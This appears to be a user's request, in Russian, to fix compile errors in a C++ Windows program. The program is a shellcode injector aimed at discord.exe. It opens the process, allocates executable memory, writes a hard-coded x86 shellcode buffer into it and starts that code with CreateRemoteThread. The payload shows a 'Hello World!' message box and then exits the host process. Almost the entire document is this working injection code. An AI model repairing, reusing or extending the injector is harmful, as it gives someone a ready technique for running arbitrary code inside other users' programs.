Серьезность	Код	Описание	Проект	Файл	Строка	Состояние подавления
Предупреждение	C4313	printf: конфликт "%X" в строке формата с аргументом 1 типа "HANDLE"	ConsoleApplication5	C:\Users\abeli\source\repos\ConsoleApplication5\ConsoleApplication5\ConsoleApplication5.cpp	90	
Ошибка (активно)	E0167	аргумент типа "WCHAR *" несовместим с параметром типа "const char *"	ConsoleApplication5	C:\Users\abeli\source\repos\ConsoleApplication5\ConsoleApplication5\ConsoleApplication5.cpp	28	
Ошибка	C2664	"int _stricmp(const char *,const char *)": невозможно преобразовать аргумент 1 из "WCHAR [260]" в "const char *"	ConsoleApplication5	C:\Users\abeli\source\repos\ConsoleApplication5\ConsoleApplication5\ConsoleApplication5.cpp	28	
Предупреждение	C4477	"printf": в строке форматирования "%lX" требуется аргумент типа "unsigned long", но вариативный аргумент "1" имеет тип "HANDLE"	ConsoleApplication5	C:\Users\abeli\source\repos\ConsoleApplication5\ConsoleApplication5\ConsoleApplication5.cpp	88	
Предупреждение	C4313	printf: конфликт "%X" в строке формата с аргументом 1 типа "HANDLE"	ConsoleApplication5	C:\Users\abeli\source\repos\ConsoleApplication5\ConsoleApplication5\ConsoleApplication5.cpp	88	
Предупреждение	C4477	"printf": в строке форматирования "%lX" требуется аргумент типа "unsigned long", но вариативный аргумент "1" имеет тип "HANDLE"	ConsoleApplication5	C:\Users\abeli\source\repos\ConsoleApplication5\ConsoleApplication5\ConsoleApplication5.cpp	90	
исправь 
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <iomanip>
#include <Shlwapi.h>
#include <thread>
#pragma comment( lib, "shlwapi.lib")


#define print(format, ...) fprintf (stderr, format, __VA_ARGS__)

DWORD GetPID(const char* pn)
{
    DWORD procId = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hSnap != INVALID_HANDLE_VALUE)
    {
        PROCESSENTRY32 pE;
        pE.dwSize = sizeof(pE);

        if (Process32First(hSnap, &pE))
        {
            if (!pE.th32ProcessID)
                Process32Next(hSnap, &pE);
            do
            {
                if (!_stricmp(pE.szExeFile, pn))
                {
                    procId = pE.th32ProcessID;
                    printf("Process found : 0x%lX\n", pE.th32ProcessID);
                    break;
                }
            } while (Process32Next(hSnap, &pE));
        }
    }
    CloseHandle(hSnap);
    return procId;
}

int wmain(void)
{
    BOOL wp = 0;
    unsigned char ExecBuffer[] =
        "\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b\x49\x1c"
        "\x8b\x59\x08\x8b\x41\x20\x8b\x09\x80\x78\x0c\x33"
        "\x75\xf2\x8b\xeb\x03\x6d\x3c\x8b\x6d\x78\x03\xeb"
        "\x8b\x45\x20\x03\xc3\x33\xd2\x8b\x34\x90\x03\xf3"
        "\x42\x81\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04"
        "\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03\xf3\x66"
        "\x8b\x14\x56\x8b\x75\x1c\x03\xf3\x8b\x74\x96\xfc"
        "\x03\xf3\x33\xff\x57\x68\x61\x72\x79\x41\x68\x4c"
        "\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd6"
        "\x33\xc9\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65"
        "\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01\xfe\x4c"
        "\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73"
        "\x54\x50\xff\xd6\x57\x68\x72\x6c\x64\x21\x68\x6f"
        "\x20\x57\x6f\x68\x48\x65\x6c\x6c\x8b\xcc\x57\x57"
        "\x51\x57\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c"
        "\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74"
        "\x54\x53\xff\xd6\x57\xff\xd0";

    HANDLE hw = OpenProcess(PROCESS_ALL_ACCESS, 0, GetPID("discord.exe"));
    if (!hw)
    {
        printf("Process Not found (0x%lX)\n", GetLastError());
        return -1;
    }
    void* base = VirtualAllocEx(hw, NULL, sizeof(ExecBuffer), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!base)
    {
        CloseHandle(hw);
        return -1;
    }
    if (!WriteProcessMemory(hw, base, ExecBuffer, sizeof(ExecBuffer), NULL))
    {
        printf("write process memory faild (0x%lX)\n", GetLastError());
        CloseHandle(hw);
        return -1;
    }
    HANDLE thread = CreateRemoteThread(hw, NULL, NULL, (LPTHREAD_START_ROUTINE)base, NULL, 0, 0);
    if (!thread)
    {
        printf("Failed to create thread (0x%lX)\n", GetLastError());
        CloseHandle(hw);
        CloseHandle(thread);
    }
    printf("Thread Created Succesfully 0x%lX\n", thread);
    if (WaitForSingleObject(thread, INFINITE) != 0b11111111111111111111111111111111)
        printf("Thread finished Succesfully 0x%lX\n", thread);
    else
        printf("error in WaitForSingleObject 0x%lX\n", GetLastError());
    return 0;
}